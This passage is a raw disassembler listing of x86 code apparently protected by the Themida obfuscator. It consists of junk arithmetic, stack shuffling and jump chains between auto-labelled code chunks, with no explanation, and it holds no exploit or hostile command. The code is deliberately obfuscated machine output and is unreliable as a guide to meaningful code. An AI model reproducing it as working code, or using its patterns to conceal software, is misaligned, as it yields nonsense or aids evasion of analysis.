ch, bh pop ebx not ch push 2ACh mov [esp-4+arg_0], ebx mov bl, 7Eh and ch, bl pop ebx sub ch, 6Bh add bl, ch pop ecx jmp loc_55EC0A ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_5693C4: ; CODE XREF: Themida_:0055C33Dj mov [esp], edx mov edx, 3F1F6007h jmp loc_56E00B ; --------------------------------------------------------------------------- loc_5693D1: ; CODE XREF: Themida_:0055E13Fj xor [esp], edi xor edi, [esp] pop esp mov ax, [esp] sub esp, 4 mov [esp], esi push esp mov esi, [esp] add esp, 4 push 4801h mov [esp], eax mov eax, 4 sub esi, 667C65E2h add esi, 1DBD04CCh add esi, eax jmp loc_56211D ; --------------------------------------------------------------------------- loc_569409: ; CODE XREF: Themida_:0056F44Aj sub esi, 57E01491h add esi, edx add esi, 57E01491h pop edx push 338Eh mov [esp], esi push dword ptr [esp+4] jmp loc_563D20 ; --------------------------------------------------------------------------- loc_569429: ; CODE XREF: Themida_:005671FBj mov [esp], esi jmp loc_56C3B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5706E9 loc_569431: ; CODE XREF: sub_5706E9-9DA7j xor esi, eax xor eax, esi shr eax, 8 jmp loc_5690F9 ; END OF FUNCTION CHUNK FOR sub_5706E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568470 loc_56943D: ; CODE XREF: sub_568470-909Cj sub [esp-24h+arg_24], 4F9732AAh jmp loc_56C73D ; END OF FUNCTION CHUNK FOR sub_568470 ; --------------------------------------------------------------------------- loc_56944A: ; CODE XREF: Themida_:00565419j xchg ebp, [esp] mov esp, [esp] mov [esp], edx mov edx, 734D11D1h push 60FEh mov [esp], ebp mov ebp, 1 jmp loc_56EFCD ; --------------------------------------------------------------------------- loc_56946A: ; CODE XREF: Themida_:0056CBADj push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_5692EA ; --------------------------------------------------------------------------- loc_569477: ; CODE XREF: Themida_:00562B79j mov ecx, 56E70C24h jmp loc_56E118 ; --------------------------------------------------------------------------- loc_569481: ; CODE XREF: Themida_:0055D859j push edx push ecx jmp loc_5671A5 ; --------------------------------------------------------------------------- loc_569488: ; CODE XREF: Themida_:00569B04j xor ebx, 6E863F3Dh shr ebx, 4 jmp loc_55E7BD ; =============== S U B R O U T I N E ======================================= sub_569496 proc near ; CODE XREF: sub_56755A-B052j var_4 = dword ptr -4 arg_0 = byte ptr 4 ; FUNCTION CHUNK AT 0055BF6A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00564F26 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056BF75 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C4E9 SIZE 00000007 BYTES sub esp, 4 mov [esp+0], eax not byte ptr [esp+1] jmp loc_55BF6A sub_569496 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5702DD loc_5694A5: ; CODE XREF: sub_5702DD-C615j xor [esp-4+arg_4], edi mov edi, [esp-4+arg_0] add esp, 4 pop esi jmp sub_564356 ; END OF FUNCTION CHUNK FOR sub_5702DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_5694B5: ; CODE XREF: sub_570668-7878j add edi, 4 xchg edi, [esp+0Ch+var_C] pop esp push eax mov eax, 0CB25BAECh sub ebx, 64C63C9Bh add ebx, eax add ebx, 64C63C9Bh jmp loc_56296B ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- loc_5694D5: ; CODE XREF: Themida_:005617D0j push small 1D22h mov [esp], dx xchg cl, [esp] not cl xchg cl, [esp] mov dx, [esp] add esp, 2 neg dl xor dl, 0C0h add al, dl push dword ptr [esp] pop edx add esp, 4 push ebp jmp loc_5630FD ; --------------------------------------------------------------------------- loc_569503: ; CODE XREF: Themida_:0055C7D4j mov ebp, 3FC060D0h and ebp, 413403DDh sub ebp, 8C2BC730h mov esi, ebp pop ebp push edx jmp loc_562D15 ; --------------------------------------------------------------------------- loc_56951D: ; CODE XREF: Themida_:005674E3j sub ch, dh pop edx jmp loc_560207 ; --------------------------------------------------------------------------- loc_569525: ; CODE XREF: Themida_:00563BC3j add esp, 4 jmp loc_56C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56952D: ; CODE XREF: sub_56755A-58E0j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] push edi mov edi, 2E1E4CF8h add esi, 5054548h sub esi, 7C602270h add esi, edi jmp loc_562305 ; --------------------------------------------------------------------------- loc_56955B: ; CODE XREF: sub_56755A+713Cj mov ebp, 49E259C3h not ebp add ebp, 9D2FA0A4h add ecx, ebp jmp loc_5622E9 ; --------------------------------------------------------------------------- loc_56956F: ; CODE XREF: sub_56755A-A618j sub byte ptr [esp-4+arg_0], al pushf jmp loc_56F869 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569578: ; CODE XREF: Themida_:00565152j sub esp, 4 mov [esp], edx push 1EB0h mov [esp], ecx jmp loc_570385 ; --------------------------------------------------------------------------- loc_56958B: ; CODE XREF: Themida_:00566557j pop ebp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_56116F ; --------------------------------------------------------------------------- loc_5695A5: ; CODE XREF: Themida_:0056E84Ej pop esi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp mov ebp, 4 add esi, ebp pop ebp sub esp, 4 mov [esp], edx push ebp push 69635211h pop ebp jmp loc_56DFC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5695D1: ; CODE XREF: sub_56755A+6E7Fj sub bl, 0F6h add bl, 21h add bl, cl sub bl, 21h push 26B1h jmp loc_568395 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_5695E6: ; CODE XREF: sub_570668-133DEj sub eax, 181A6B62h sub esp, 4 jmp loc_55D1FD ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1C0 loc_5695F3: ; CODE XREF: sub_56E1C0-456Cj push ecx mov ch, 1Ah mov bh, 1Eh sub bh, ch mov ecx, [esp+0] add esp, 4 and bh, 8Ah inc bh xor bh, 2Ah sub al, bh mov ebx, [esp-4+arg_0] add esp, 4 sub al, dl add al, 2Bh mov edx, [esp-8+arg_4] jmp loc_562D0C ; END OF FUNCTION CHUNK FOR sub_56E1C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_569622: ; CODE XREF: sub_56971C-58E4j sub eax, esi pop esi add eax, esi add eax, 3BEE2355h mov esi, [esp+0Ch+var_C] sub esp, 4 mov [esp+10h+var_10], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+10h+var_10] pop esp mov esi, eax mov eax, [esp+0Ch+var_C] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+10h+var_10] pop esp and ecx, esi jmp loc_564295 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569666: ; CODE XREF: sub_56755A+69Dj push edx mov edx, esp add edx, 4 jmp loc_5653FE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569674: ; CODE XREF: Themida_:0055EE8Fj mov ebp, 36422082h jmp loc_56A683 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56967E: ; CODE XREF: sub_56755A-2F4j mov [esp+2Ah+var_2C+2], eax jmp loc_55CA2A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5637DB loc_569686: ; CODE XREF: sub_5637DB-1007j mov eax, 66DBBC60h jmp loc_5661ED ; END OF FUNCTION CHUNK FOR sub_5637DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569690: ; CODE XREF: sub_56755A-AE70j pop esp jmp loc_56776B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C3A loc_569696: ; CODE XREF: sub_561C3A-26B3j mov [esp-4+arg_0], ecx push 230Ch mov [esp+0], edx jmp loc_56997F ; END OF FUNCTION CHUNK FOR sub_561C3A ; =============== S U B R O U T I N E ======================================= sub_5696A6 proc near ; CODE XREF: sub_56755A-1DEFj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055FCE9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00563D5B SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0056F965 SIZE 00000013 BYTES push ebp mov ebp, 1B5179FFh sub ebp, 1B5179FBh add eax, ebp pop ebp xchg eax, [esp+0] pop esp push [esp+8+var_8] pop ecx jmp loc_563D5B sub_5696A6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5696C2: ; CODE XREF: Themida_:0055FEF0j mov edx, 69C10503h dec edx push ecx mov ecx, 2D924EAFh shr ecx, 7 jmp loc_566431 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_5696D6: ; CODE XREF: sub_55E931+F56j add eax, 4 xchg eax, [esp+0] mov esp, [esp+0] add esi, 4 push 1318h mov [esp+4+var_4], eax mov eax, 4 sub esi, 527679DAh add esi, eax push ebp jmp loc_56045D ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569700: ; CODE XREF: sub_56755A+5E10j sub al, 5Bh push ecx mov cl, 0FEh jmp loc_5687BA ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56970A proc near ; CODE XREF: sub_5635DE-395Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C86A SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0055DE09 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055DF0B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055F7D4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00560881 SIZE 0000000C BYTES push ebp push esi jmp loc_55F7D4 sub_56970A endp ; --------------------------------------------------------------------------- loc_569711: ; CODE XREF: Themida_:00566A05j push 2142593Ch pop ebp jmp loc_55BAAE ; =============== S U B R O U T I N E ======================================= sub_56971C proc near ; CODE XREF: sub_56A161+Bj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055B779 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055BE35 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055C1C6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562A7F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00562AC6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562ECC SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00563312 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056364E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00563A6F SIZE 0000007F BYTES ; FUNCTION CHUNK AT 00563B5B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00563E32 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00564295 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005648DD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005649BC SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00564CA0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056636A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00566DF0 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0056856E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00568C44 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 00569622 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 0056A80B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A919 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056C072 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C7FF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056CD1B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056E43E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00570064 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00570150 SIZE 00000010 BYTES push ebp mov ebp, 1DDE2ECFh push eax push 260794Bh jmp loc_570064 sub_56971C endp ; --------------------------------------------------------------------------- mov eax, [esp] push ecx mov ecx, esp sub esp, 4 mov [esp], esi push 59EAh mov [esp], edx mov edx, 4 jmp loc_55CDF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56974B: ; CODE XREF: sub_56755A-8687j push [esp+20h+var_20] pop edi push edi mov edi, esp add edi, 4 push eax mov eax, 4 jmp loc_56B35C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_569763: ; CODE XREF: sub_5635DE-6868j neg ecx sub esp, 4 mov [esp+8+var_8], ebp mov ebp, 1E9057B3h xor ecx, ebp jmp loc_565336 ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56977A: ; CODE XREF: sub_56755A+4FB7j pop esp shl ebx, 5 push edi jmp loc_55FA62 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push 7F1Fh mov [esp], ecx push 1B10h jmp loc_55F0CA ; --------------------------------------------------------------------------- loc_569796: ; CODE XREF: Themida_:0056FCEEj and edx, 678A39B9h add edx, 0BD58DC93h sub esi, edx jmp loc_56790D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B5E8 loc_5697A9: ; CODE XREF: sub_56B5E8-4FF7j pop edi add ecx, 39FC4D54h jmp loc_566B3A ; END OF FUNCTION CHUNK FOR sub_56B5E8 ; --------------------------------------------------------------------------- loc_5697B5: ; CODE XREF: Themida_:0055C5BDj push ebx jmp loc_569D14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5697BB: ; CODE XREF: sub_56755A+4EBj add ebx, 29204119h add ebx, eax sub ebx, 29204119h jmp loc_55CEE1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5697CE: ; CODE XREF: Themida_:00561E75j mov edi, esp add edi, 4 jmp loc_56FB73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5697DB: ; CODE XREF: sub_56755A+8D7j mov bx, bp pop ebp sub di, bx jmp loc_564F34 ; --------------------------------------------------------------------------- loc_5697E7: ; CODE XREF: sub_56755A-414Cj xchg edx, [esp-18h+arg_14] pop esp push 313Dh jmp loc_56DE6F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5697F5: ; CODE XREF: Themida_:0056E5EFj push ebp jmp loc_560A6C ; --------------------------------------------------------------------------- loc_5697FB: ; CODE XREF: Themida_:00568AB5j inc edi jmp loc_565AA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_569801: ; CODE XREF: sub_56E89A-254j xor esi, eax xor eax, esi push ebp mov ebp, esp add ebp, 4 jmp loc_56913F ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_569813: ; CODE XREF: Themida_:00570021j pop esi push 6F18h mov [esp], eax sub esp, 4 jmp loc_56D047 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_569827: ; CODE XREF: sub_56E89A-FECFj push 34D6h mov [esp+8+var_8], esi mov esi, esp add esi, 4 push 10C9h mov [esp+0Ch+var_C], edi push edx jmp loc_55EF4A ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_569845: ; CODE XREF: Themida_:005621D9j add edi, ebx push dword ptr [esp] jmp loc_56151C ; --------------------------------------------------------------------------- loc_56984F: ; CODE XREF: Themida_:0056D142j xor esi, 7FB03EF3h add edi, esi jmp loc_569291 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E75E loc_56985C: ; CODE XREF: sub_56E75E-10580j xor esi, 700C6961h add esi, 30527FC0h jmp loc_56B14B ; END OF FUNCTION CHUNK FOR sub_56E75E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56986D: ; CODE XREF: sub_56755A-AC8Aj mov esi, [esp-8+arg_4] add esp, 4 jmp loc_564AA5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569878: ; CODE XREF: Themida_:00561A03j push ebx push ebp push 54CD7090h pop ebp sub ebp, 11AA1C92h jmp loc_5650CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56988B: ; CODE XREF: sub_56755A-52C9j sub eax, 9D51BCBh add eax, edi sub esp, 4 mov [esp+20h+var_20], edi mov edi, 58DE1D3Bh jmp loc_55C38C ; --------------------------------------------------------------------------- loc_5698A5: ; CODE XREF: sub_56755A-1AF8j or ebx, 20B64DABh and ebx, 1CAF02E3h and ebx, 4F5246B1h neg ebx sub ebx, 77A97D9Bh sub ebx, 5EE1047Dh mov edi, ebx pop ebx push edx jmp loc_56C2E8 ; --------------------------------------------------------------------------- loc_5698CE: ; CODE XREF: sub_56755A+1A2j inc dl add dl, 57h mov bl, dl mov edx, [esp+1Eh+var_20+2] jmp loc_561762 ; --------------------------------------------------------------------------- loc_5698DD: ; CODE XREF: sub_56755A+2C51j mov bl, ch pop ecx push edx mov dh, 0BEh inc dh jmp loc_56DDD2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5698EA: ; CODE XREF: Themida_:0055E1D3j mov edi, ebp jmp loc_56A2B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5698F1: ; CODE XREF: sub_56755A+96Bj mov ebx, ecx jmp loc_56DD35 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5698F8: ; CODE XREF: Themida_:00568B1Ej push ebx mov ebx, 556B7719h push edx mov edx, 23C97B1Ch dec edx add edx, 40BB3EC8h xor edx, 277196D5h mov ebp, edx pop edx xor ebp, ebx jmp loc_55FF87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_56991B: ; CODE XREF: sub_5635DE+A04Aj add esi, edx sub esp, 4 mov [esp+0Ch+var_C], edx sub esp, 4 mov [esp+10h+var_10], ecx push 538812E2h pop ecx neg ecx jmp loc_56F825 ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564E24 loc_569936: ; CODE XREF: sub_564E24-6E23j mov eax, 79BEEE52h add ecx, 2C123F07h sub ecx, eax jmp loc_55CB51 ; END OF FUNCTION CHUNK FOR sub_564E24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569948: ; CODE XREF: sub_56755A-247Bj add edi, 0AE65CD91h jmp loc_55ECA5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_569953: ; CODE XREF: sub_55E931+BED5j add ebx, 490276ADh shr ebx, 7 shl ebx, 8 dec ebx add ebx, 0BAA6B6B6h xor edi, ebx pop ebx jmp loc_56F854 ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56996E: ; CODE XREF: sub_56755A-2728j add edx, ecx pop ecx push [esp+0Ah+var_C+2] pop ecx add esp, 4 add eax, edx jmp loc_569F48 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C3A loc_56997F: ; CODE XREF: sub_561C3A+7A67j push 1AD51F2h pop edx mov ecx, edx mov edx, [esp+0] jmp loc_564CB2 ; END OF FUNCTION CHUNK FOR sub_561C3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56998F: ; CODE XREF: sub_56755A+8A7j push esp pop ebx jmp sub_563616 ; --------------------------------------------------------------------------- loc_569996: ; CODE XREF: sub_56755A+36BEj sub eax, 0A0820AEDh mov ebx, eax jmp loc_56C293 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55C6A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_5699AB: ; CODE XREF: sub_565269-43B9j mov ebp, 2366613Bh mov eax, 9EA7B220h sub eax, ebp pop ebp shl eax, 3 shr eax, 3 sub eax, 6B260142h jmp loc_56EE7E ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55BA18 loc_5699C8: ; CODE XREF: sub_55BA18+89Dj shr ecx, 2 push ebx jmp loc_56622A ; END OF FUNCTION CHUNK FOR sub_55BA18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_5699D1: ; CODE XREF: sub_56D164-1127Ej add ebp, ebx pop ebx jmp loc_56D438 ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BA15 loc_5699D9: ; CODE XREF: sub_56BA15+1j mov ebx, 414D7065h sub esi, ebx pop ebx jmp loc_560956 ; END OF FUNCTION CHUNK FOR sub_56BA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562462 loc_5699E6: ; CODE XREF: sub_562462-4583j jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_562462 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B25 loc_5699EB: ; CODE XREF: sub_565B25+1Dj mov ebx, ebp jmp loc_56D65B ; END OF FUNCTION CHUNK FOR sub_565B25 ; --------------------------------------------------------------------------- push edi mov edi, esp push 7D36h mov [esp], edx jmp loc_5646E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569A02: ; CODE XREF: sub_56755A+6E9Cj and eax, edi pop edi or eax, eax jz sub_569E65 push dword ptr [edi+28h] push [esp+26h+var_28+2] mov eax, [esp+2Ah+var_2C+2] jmp loc_565F66 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569A1B: ; CODE XREF: Themida_:0056CC83j pop esi push ebx mov ebx, 4 add ebp, ebx pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55D6A6 ; --------------------------------------------------------------------------- loc_569A33: ; CODE XREF: Themida_:0056D2BBj mov ecx, [esp] add esp, 4 push ebp mov ebp, 4 add ecx, 23E43CE4h add ecx, ebp sub ecx, 23E43CE4h mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_55F1B4 ; --------------------------------------------------------------------------- loc_569A67: ; CODE XREF: Themida_:0056E172j pop esp mov ecx, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_566F48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_569A7F: ; CODE XREF: sub_55FE13+AC3Cj mov [esp-0Ch+arg_8], ax jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_55FE13 ; --------------------------------------------------------------------------- loc_569A88: ; CODE XREF: Themida_:00569C48j pop ecx push 5E6Eh mov [esp], ebx mov bh, 67h jmp loc_56805A ; --------------------------------------------------------------------------- loc_569A98: ; CODE XREF: Themida_:0056A618j push ecx push esi mov esi, 26E288Dh push edx mov edx, 55826F66h xor edx, 4CA53559h add edx, 34063C48h jmp loc_5636AF ; --------------------------------------------------------------------------- lodsb push ebx mov bh, 80h not bh shr bh, 3 not bh add bh, 0C5h push ax mov ah, 3Bh xor bh, ah jmp loc_567D8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569ACF: ; CODE XREF: sub_56755A-BBFAj xor edi, [esp+8+var_8] pop esp mov [esp+4+var_4], esi jmp loc_55FF8D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569ADB: ; CODE XREF: Themida_:0056664Dj add eax, 2 sub esp, 4 mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 7D53h mov [esp], ebx mov ebx, 1DCD7652h jmp loc_569488 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_569B09: ; CODE XREF: sub_56667A+2CDBj sub ebx, 50630F58h mov edx, [esp+0] jmp loc_55F7DE ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569B17: ; CODE XREF: sub_56755A-BD01j mov edx, 1 or [edi+1Ch], edx jmp loc_55D229 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569B24: ; CODE XREF: Themida_:00564084j push eax mov eax, 47881904h mov ebp, 0FE146337h jmp loc_55D4AE ; --------------------------------------------------------------------------- loc_569B34: ; CODE XREF: Themida_:0056C4D3j pop edx inc esi jmp loc_56D089 ; --------------------------------------------------------------------------- loc_569B3B: ; CODE XREF: Themida_:0056DCDEj pop ebx add ebx, 4 add ebx, 4 jmp loc_563D40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569B4D: ; CODE XREF: sub_56755A-BC8Ej dec edi jmp loc_56E024 ; --------------------------------------------------------------------------- loc_569B53: ; CODE XREF: sub_56755A-5B37j or ecx, 6DBB3926h xor ecx, 65CD56E0h xor ecx, 520713F2h mov ebx, ecx pop ecx jmp sub_5607D3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569B6D: ; CODE XREF: Themida_:00564792j add ebp, 54AC08B0h add ebp, eax jmp loc_55C407 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569B7A: ; CODE XREF: sub_56755A-2234j add esp, 4 jmp loc_56F149 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_569B85: ; CODE XREF: sub_56CD48-6319j mov ebp, [esp+8+var_8] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp push ebx jmp loc_5638EA ; END OF FUNCTION CHUNK FOR sub_56CD48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569B9E: ; CODE XREF: sub_56755A+844j add esp, 4 sub al, bl push 7CD8h mov [esp+0], edx mov dl, 37h push eax jmp loc_56731E ; --------------------------------------------------------------------------- loc_569BB6: ; CODE XREF: sub_56755A+787j shl ecx, 6 jmp loc_55E130 ; --------------------------------------------------------------------------- loc_569BBE: ; CODE XREF: sub_56755A+B4j push 2 jmp loc_55F01F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569BC8: ; CODE XREF: Themida_:00568F1Cj pop eax jmp loc_56B61D ; --------------------------------------------------------------------------- loc_569BCE: ; CODE XREF: Themida_:00563D3Bj push esi mov esi, 263F0483h push ebx mov ebx, 1F37508h add esi, ebx pop ebx push 2DC9h mov [esp], ecx mov ecx, 7817708Ah xor esi, ecx pop ecx shr esi, 4 add esi, 0FAFDAF74h jmp loc_56120E ; --------------------------------------------------------------------------- loc_569BFB: ; CODE XREF: Themida_:005669BBj sub eax, 0AE36BA0Ch mov edi, eax pop eax sub edi, 1 xchg esi, edi not esi xchg esi, edi add edi, 402A2250h jmp loc_56455B ; --------------------------------------------------------------------------- mov cx, [esp] push eax jmp loc_56061C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643BC loc_569C24: ; CODE XREF: sub_5643BC+600Fj mov ebp, [esp+0] add esp, 4 jmp loc_568D99 ; END OF FUNCTION CHUNK FOR sub_5643BC ; --------------------------------------------------------------------------- loc_569C32: ; CODE XREF: Themida_:0056A783j add al, 0F2h sub al, cl push 6A6Bh mov [esp], edx mov dh, 0F2h sub al, dh mov edx, [esp] add esp, 4 jmp loc_569A88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1C0 loc_569C4D: ; CODE XREF: sub_56E1C0-15A4j shl dl, 8 sub dl, 72h push ebx jmp loc_5695F3 ; END OF FUNCTION CHUNK FOR sub_56E1C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_569C59: ; CODE XREF: sub_56CEE9+2835j push edi push esp pop edi add edi, 4 sub edi, 4 jmp loc_563EDE ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- loc_569C6A: ; CODE XREF: Themida_:0055E78Fj push ebx mov ebx, 46E52456h sub ebx, 5416CA1h add ebx, 45976544h shl ebx, 7 sub ebx, 0D46AB8F0h add eax, ebx jmp loc_56C2FE ; 